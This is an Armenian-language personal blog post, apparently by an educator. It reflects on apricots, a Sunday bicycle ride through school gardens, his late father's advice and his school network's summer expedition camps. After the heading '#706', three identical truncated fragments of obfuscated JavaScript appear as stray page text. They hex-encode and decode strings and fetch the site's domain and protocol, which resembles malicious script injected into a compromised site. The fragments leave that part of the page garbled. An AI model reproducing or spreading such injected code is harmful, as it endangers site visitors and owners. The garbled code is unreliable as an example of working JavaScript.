Ի՞նչ ասել է կիրակիի գիր` շաբաթ օրվա իմ ապրած-տեսած-զգացածի պատմությո՞ւն, թե՞ շաբաթվա ամփոփագիր՝ տպավորվածի, մտահոգությունների, չասվածի… դրանց առաջացրած պատմականի՝ ապրածի-չապրածի զուգադրումներով․․․ Ամեն ինչ ավելի պարզ է․ կիրակին այս պարգև է շաբաթվա անընդհատ ջանքերի համար, ինչպես արեգակի պտուղ ծիրանը արկղով, Աբրահամ ընկերոջից, Դավիթ Բլեյանի համար․․․ Վայելք կիրակիի ու ծով ծիրանի․․․ Հա՛մ ծիրան ենք սիրում ես ու Դավիթը, հա՛մ ծիրանի կորիզ, որ ես կոտրում եմ Դավթի համար․․․ Օրվա մեջ, ուր էլ լինեմ, ոչ մի կորիզ բաց չեմ թողնի․․․ծիրան ուտելու ոչ մի առիթ․․․Երեկ կարոտակեզ-սրտակեզ առավոտ կանուխի Խանջյան-Իսակով, պատմել եմ, ուղին շարունակություն ունեցավ․․․ Ես 8։30-ին, Հիմնական դպրոցի բակում էի. շրջանցելով գլխավոր մուտքի փակ դուռը, քնած-արթուն Համլետ բակապահին-պարտիզպանին` շրջան արեցի Շամիրամի դպրոցի ցանցը երիզող այգիներով, այնքա՜ն գործ տեսա. անհետաձգելի՞, հարցնում եմ… Ու հեծանվաուղով մտա դպրոցի պարտեզ․․․ Դպրոց-պարտեզը` մեր կրտսեր դպրոցները, իրենց նախակրթարաններով, ամենաստացվածը-ամենահանրայինը, մեր հեղինակած ուսումնական հաստատություններից, դպրոց են պարտեզի մեջ, թե պարտեզում դպրոցներ են․․․ Որքան ընկած ծիրան կար՝ կերա, որքան չջարդված կորիզ՝ հավաքեցի, պարտեզում արվածով շաբաթվա՝ ուրախացա, հաջորդ շաբաթվա անելիքը գրանցեցի ու հա՜յդե՝ իմ հայտնաբերած հեծանվակածանով՝ մեր Մետաքսի ճանապարհի Հիմնական-գյուղացիական տնտեսություն–Դպրոց-պարտեզ-Կենտրոն-Վերնիսաժ ճամփեն անցա․․․

Ընտանեկան կիրակին:
Լուսանկարները` Լուսինե Աբրահամյանի:

Հորս կապը ինձ այդպես էլ բաց չթողեց։ Ժամ ու կես հեծանվի վրա, ես իմ անվերջանալի-ամենաազնիվ կապով-մտածումով Շամխալբեկ հորս հետ էի։ Իսկական բեկ։ Մանկության ամբարից մանրաթելերով օպտիկական, ա՜յ քեզ ինտերնետ աշխարհ, ինձ մշտապես սնուցող-ուղղորդող-վստահություն հաղորդող․․․ «Մարդ, որ իրեն չխայտառակի, ուրիշը անել չի կարող»․․․ ամեն ինչ ասաց ու հայրաբար իր տեղը դրեց հայրս․ «Անցիր քո ճանապարհն ու  կենտրոնացիր քո անելիքի վրա․ ուրիշներին հանգիստ թող, շան տղա ու չնեղվես․․․ Դու ու քո ճամփան․․․»։

Հիմա, երբ իմ առաջ Սևանի «Ժայռից» սկսվող ճամբար-արշավախմբային հայրենագիտական ճամփորդությունների հայտերն են, շրջան է, հրե՛ս, շարվել են, ուսապարկերն են հավաքում Ելենա Սարգսյանն ու իր ճամփորդները, մանկավարժության ճամբարի սեբաստացի աշխատողների, Ավագ և Միջին  դպրոցների մուտքի ճամբարների ջոկատները, ռազմամարզական 2016 խաղերի հաղթողների խմբերը, սրանից էլ լավ հարթա՞կ ներկայացնելու կրթահամալիրի դպրոցների արշավախմբային-հեծանվային կայանները՝ կառուցվող-ձևավորող, որպես թվով 6-րդ հրաշալիք․․․ Թողնենք կրթահամալիրի Հիմնական դպրոցի, Դպրոց-պարտեզի, Նոր դպրոցի, Գեղարվեստի, Միջին ու Ավագ դպրոցների, Քոլեջի ճամբարներին, աշխատանքի ջոկատներին այս իմ պատումը շարունակելը, իրենց կայանները «Ժայռ 2016»-ի ամառային նախագծերի համայնապատկերին ներկայացնելը․․․ Ես այնքան ջանքեր, միջոցներ ներդրեցի, որ մեր այս ուսումնական նոր կայանները, որպես նոր տեսակի հեղինակային կրթական ծրագրով թելադրված ճամփորդությամբ ուսուցման սպասարկու այս ավարտելի վիճակի բերվեն...  Հիմա ձեր հերթն է գործելու, սկսեք. ուրիշ ե՞րբ, եթե ոչ ՝ հիմա, ուրիշ ո՞վ, եթե ոչ դուք սեբաստացիներ` մեծով-պստիկով, իրարից առաջ ընկնելով, դրանով իրար օգնելով․․․

Հիմնական դպրոցի Արտ-միջավայրի ձևավորման աշխատանքներ: 
Լուսանկարները՝ Հասմիկ Պողոսյանի:

Կիրակնօրյա ընթերցարան

Վրաստանի մասին այսպիսի կենդանի, ապրեցնող նյութեր որքան ուզեք կգտնեք. Տեսնենք ինչ է ասում մեդիան Հայաստանի մասին.

#706

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ashotbleyan.mskh.am"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ashotbleyan.mskh.am"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ashotbleyan.mskh.am"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Թողնել պատասխան

Ձեր էլ-փոստի հասցեն չի հրապարակվելու։ Պարտադիր դաշտերը նշված են *-ով

Explore More

Կա օր՝ որպես մեր ազնվական, արարչական ծագման վկայագիր

Մեր պաշտելի հայրը, մեծ եղբայրս նրան «նախագահ» էր դիմում, նոր Բլեենց թագավոր Շամխալբեկը ծննդյան օր չի ունեցել, մեր ընտանիքում չի նշվել… Ինչպես իմ խորոտիկ-անանեծք-օրհնաշատ Ազիզ տատը, ինչպես ինձ հանդիպած ամենակամային-ուժեղ

Երբ բացում ենք մատները, պարզում ձեռքերը․․․

Սեբաստացիական ողջույնը ծանոթ-անծանոթին՝ ափը ափին, երկու ափով միաժամանակ, գրկախառնություն սրանից. այսպես է ծնվել բարևի ծիսականացումը, դիմացինին քո վստահության հաստատումը․․․ Իսկ օրվա պատումի վերնագիրը Հայաստանի պետական ճարտարապետաշինարարական համալսարանի գծման սրահի կլոր

5-6 տարեկանների, ընտրության-պարտադրանքի սահմանում

Արմինե մայրիկը, բնական է, կարևոր քունն է շարունակում առնել. կիրակի է, ես ու Դավիթ Բլեյանը խոհանոցում, պատշգամբային ճոճից հետո, մրգառատ մեծ սեղանի շուրջ հաղորդակցվում ենք. — Ո՞նց է արևը հասունացնում